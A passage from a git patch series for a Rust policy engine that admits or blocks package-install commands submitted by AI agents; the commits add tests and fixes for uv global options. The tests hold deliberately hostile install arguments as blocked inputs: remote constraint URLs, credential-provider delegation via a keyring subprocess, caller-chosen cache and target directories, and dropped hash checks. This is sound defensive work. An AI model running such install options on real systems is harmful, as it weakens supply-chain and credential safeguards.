sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_constraint_authority() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-deps", + "--no-python-downloads", + "--constrain=https://x.invalid/c.txt", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + ARTIFACT_ARGUMENT, + "--constraint=https://x.invalid/c.txt", + ], + ] { + let (policy, mut intent) = approved_pypi_install("uv"); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "nearby spelling or non-install uv grammar must not inherit install-constraint authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), From 0e726dc148e0c6e0d172742c774bf784d2323a24 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 20:14:05 +0900 Subject: [PATCH 670/702] fix(admission): preserve uv global constraint evidence --- .../src/pypi_constraint_authority.rs | 22 +++++++++++++------ 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_constraint_authority.rs b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs index f56fbff1..37f9784e 100644 --- a/crates/agent-artifact-admission/src/pypi_constraint_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs @@ -1,4 +1,5 @@ use crate::InstallIntent; +use crate::policy::uv_active_command_index; /// Return whether a direct pip-compatible install imports dependency or build /// selection from a constraint document that is not represented by the @@ -21,12 +22,19 @@ pub(crate) fn requests_unapproved_pypi_constraint_authority(intent: &InstallInte || matches_pip_long_value_option(argument, "--build-constraint", "--build-c") }) } - "uv" if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => - { - arguments.iter().any(|argument| { + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(pip_index + 2).any(|argument| { matches_short_value_option(argument, "-c") || matches_long_value_option(argument, "--constraint") || matches_long_value_option(argument, "--constraints") @@ -98,7 +106,7 @@ mod tests { assert!( !matches_pip_long_value_option(argument, "--constraint", "--cons") && !matches_pip_long_value_option(argument, "--build-constraint", "--build-c"), - "ambiguous or unrelated pip option must not be classified: {argument}" + "ambiguous or unrelated pip option must not be classified as a constraint: {argument}" ); } } From 7f9c62178e35ef9860172110e27320a43d1db11a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 20:26:42 +0900 Subject: [PATCH 671/702] test(admission): expose uv global keyring evidence gap --- .../uv_keyring_provider_authority_contract.rs | 88 ++++++++++++++++++- 1 file changed, 87 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs index a5033f6b..8612173a 100644 --- a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs @@ -1,6 +1,7 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, - InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, }; #[test] @@ -52,6 +53,91 @@ fn explicit_disabled_uv_keyring_provider_preserves_reviewed_baseline() { ); } +#[test] +fn uv_global_options_preserve_keyring_provider_causal_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--keyring-provider=subprocess".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "parser-valid uv global options must not erase credential-provider trust evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_keyring_provider_authority() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-deps", + "--no-python-downloads", + "--keyring-provider=disabled", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "requirements.txt", + "--keyring-provider=subprocess", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "disabled provider or non-install uv grammar must not inherit install-scope credential-provider authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + fn assert_alternate_trust_root_block(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); assert_eq!( From 01fa5f5133271609bddc229e4941e13a6427dfb9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 20:30:43 +0900 Subject: [PATCH 672/702] fix(admission): preserve uv global keyring evidence --- .../src/pypi_keyring_provider_authority.rs | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs index ab6b8427..efbb2b2d 100644 --- a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -1,4 +1,5 @@ use crate::InstallIntent; +use crate::policy::uv_active_command_index; /// Return whether a supported PyPI installer delegates credential lookup to a caller-selected provider. pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &InstallIntent) -> bool { @@ -16,12 +17,18 @@ pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &Insta { (&arguments[1..], true, false) } - "uv" if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => - { - (&arguments[2..], false, true) + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + (&arguments[pip_index + 2..], false, true) } _ => return false, }; From d4dbc7465b0c5e2ca89e620b2d6fac2dd04f6875 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 21:19:04 +0900 Subject: [PATCH 673/702] test(admission): prove uv global cache-dir evidence gap --- .../tests/uv_cache_dir_authority_contract.rs | 162 ++++++++++++++++++ 1 file changed, 162 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs new file mode 100644 index 00000000..1279fd1a --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs @@ -0,0 +1,162 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn uv_global_cache_directory_preserves_causal_install_root_evidence() { + let (policy, baseline) = approved_uv_install(); + let control = admission_decision(&policy, &baseline); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact reviewed uv pip install must remain admissible before adding caller-selected cache authority" + ); + + for prefix in [ + vec!["uv", "--cache-dir", "/tmp/wardnet-uv-cache"], + vec!["uv", "--cache-dir=/tmp/wardnet-uv-cache"], + ] { + let mut hostile = baseline.clone(); + hostile.argv = prefix.into_iter().map(str::to_string).collect(); + hostile.argv.extend( + baseline + .argv + .iter() + .skip(1) + .cloned(), + ); + + let decision = admission_decision(&policy, &hostile); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + "uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "parser-valid uv --cache-dir must preserve stable caller-selected filesystem/cache authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn uv_global_cache_directory_does_not_inherit_pip_option_abbreviations() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--cache-di".to_string(), + "/tmp/wardnet-uv-cache".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "uv must not inherit pip optparse abbreviation semantics for a near-spelling global option: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_non_install_command_does_not_gain_install_scope_cache_authority_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--cache-dir".to_string(), + "/tmp/wardnet-uv-cache".to_string(), + "pip".to_string(), + "sync".to_string(), + "requirements.txt".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "non-install uv grammar must not inherit install-scope cache-directory authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-cache-dir-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From d4e0171cb1aa174b8a0ec2718dcbe662a8eed814 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 21:24:18 +0900 Subject: [PATCH 674/702] test(admission): format uv cache-dir RED contract --- .../tests/uv_cache_dir_authority_contract.rs | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs index 1279fd1a..58b6f6f7 100644 --- a/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs @@ -20,18 +20,14 @@ fn uv_global_cache_directory_preserves_causal_install_root_evidence() { ] { let mut hostile = baseline.clone(); hostile.argv = prefix.into_iter().map(str::to_string).collect(); - hostile.argv.extend( - baseline - .argv - .iter() - .skip(1) - .cloned(), - ); + hostile.argv.extend(baseline.argv.iter().skip(1).cloned()); let decision = admission_decision(&policy, &hostile); assert_eq!(decision.decision, DecisionKind::Block); assert!( - decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), "uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", decision.reason_codes ); From 78f814aa2686f21d1e1e574f3f383fe7eca53db0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 21:26:19 +0900 Subject: [PATCH 675/702] fix(admission): preserve uv global cache-dir evidence --- .../src/pypi_cache_directory_authority.rs | 53 +++++++++++++------ 1 file changed, 36 insertions(+), 17 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs index 2a345d8d..c687e436 100644 --- a/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs @@ -1,27 +1,39 @@ -use crate::InstallIntent; +use crate::{InstallIntent, policy::uv_active_command_index}; -/// Return whether a direct pip install asks pip to place cache data in a -/// caller-selected directory outside the reviewed artifact mutation contract. +/// Return whether a PyPI install asks the package manager to place cache data +/// in a caller-selected directory outside the reviewed artifact mutation contract. pub(crate) fn requests_unapproved_pypi_cache_directory_authority(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; - if !matches!(executable, "pip" | "pip3") { - return false; - } - let arguments = &intent.argv[1..]; - if !arguments - .first() - .is_some_and(|argument| argument == "install") - { - return false; - } - arguments - .iter() - .skip(1) - .any(|argument| matches_pip_cache_directory_option(argument)) + match executable { + "pip" | "pip3" => { + arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments + .iter() + .skip(1) + .any(|argument| matches_pip_cache_directory_option(argument)) + } + "uv" => { + let Some(command_index) = uv_active_command_index(arguments) else { + return false; + }; + arguments + .get(command_index) + .is_some_and(|argument| argument == "pip") + && arguments + .get(command_index + 1) + .is_some_and(|argument| argument == "install") + && arguments[..command_index] + .iter() + .any(|argument| matches_uv_cache_directory_option(argument)) + } + _ => false, + } } /// pip uses Python optparse, which accepts an unambiguous long-option prefix. @@ -41,3 +53,10 @@ fn matches_pip_cache_directory_option(argument: &str) -> bool { | "--cache-dir" ) } + +fn matches_uv_cache_directory_option(argument: &str) -> bool { + argument == "--cache-dir" + || argument + .strip_prefix("--cache-dir=") + .is_some_and(|value| !value.is_empty()) +} From 9d9b2daedf1f332c47d5a0c348f83b548d8e7034 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 21:42:12 +0900 Subject: [PATCH 676/702] test(admission): prove uv global install-root evidence gap --- ..._global_install_root_authority_contract.rs | 165 ++++++++++++++++++ 1 file changed, 165 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_global_install_root_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_global_install_root_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_install_root_authority_contract.rs new file mode 100644 index 00000000..82d800e7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_install_root_authority_contract.rs @@ -0,0 +1,165 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn uv_global_options_preserve_install_root_causal_evidence() { + let (policy, baseline) = approved_uv_install(); + let control = admission_decision(&policy, &baseline); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact reviewed uv pip install must remain admissible before adding caller-selected install-root authority" + ); + + let mut hostile = baseline.clone(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--target=/tmp/wardnet-target".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "parser-valid uv global options must not erase causal caller-selected install-root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_install_root_does_not_inherit_pip_abbreviation_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--targetx=/tmp/wardnet-target".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "uv must not invent install-root authority for an unrelated near-spelling: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_non_install_command_does_not_gain_install_root_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "requirements.txt".to_string(), + "--target=/tmp/wardnet-target".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "non-install uv grammar must not inherit pip-install destination authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-install-root-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 7aa0c3845ae4a1889b86d336c8a6a94d7ccf200e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 21:48:21 +0900 Subject: [PATCH 677/702] fix(admission): preserve uv global install-root evidence --- crates/agent-artifact-admission/src/policy.rs | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 10e93276..2cf4806c 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -857,13 +857,21 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo } "pip" | "pip3" => contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]), "uv" => { - arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") - && contains_flag(&[ + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments.get(pip_index).map(String::as_str) != Some("pip") + || arguments.get(pip_index + 1).map(String::as_str) != Some("install") + { + return false; + } + arguments[pip_index + 2..].iter().any(|argument| { + [ "--user", "--target", "-t", "--root", "--prefix", "--system", "--python", "-p", - ]) + ] + .iter() + .any(|flag| matches_cli_flag(argument, flag)) + }) } "cargo" => contains_flag(&["--root", "--config", "--target-dir"]), _ => false, From 1a0eb7d02a3bf10bec29f9efb752a466c8f4714e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 22:10:54 +0900 Subject: [PATCH 678/702] test(admission): expose uv global hash-safety evidence gap --- ...v_global_hash_safety_authority_contract.rs | 142 ++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs new file mode 100644 index 00000000..86aaae03 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs @@ -0,0 +1,142 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn uv_global_options_preserve_missing_hash_safety_evidence() { + let (policy, baseline) = approved_uv_install(); + let control = admission_decision(&policy, &baseline); + assert_eq!(control.decision, DecisionKind::Allow); + + let mut hostile = baseline.clone(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + "parser-valid uv global options must not erase causal missing --require-hashes evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_options_with_require_hashes_do_not_fabricate_missing_safety_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + "exact --require-hashes must satisfy the hash-safety evidence contract: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_global_non_install_command_does_not_gain_hash_safety_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "requirements.txt".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + "non-install uv grammar must not inherit pip-install hash-safety evidence: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-13.2".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-hash-safety-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 5d3ebdbd318cbc28f10dbee2f078636405f94102 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 22:18:10 +0900 Subject: [PATCH 679/702] test(admission): format uv global hash-safety RED --- .../uv_global_hash_safety_authority_contract.rs | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs index 86aaae03..a2cac8ef 100644 --- a/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs @@ -25,12 +25,16 @@ fn uv_global_options_preserve_missing_hash_safety_evidence() { let decision = admission_decision(&policy, &hostile); assert_eq!(decision.decision, DecisionKind::Block); assert!( - decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), "reviewed uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", decision.reason_codes ); assert!( - decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), "parser-valid uv global options must not erase causal missing --require-hashes evidence: {:?}", decision.reason_codes ); @@ -60,7 +64,9 @@ fn uv_global_options_with_require_hashes_do_not_fabricate_missing_safety_evidenc assert_eq!(decision.decision, DecisionKind::Block); assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); assert!( - 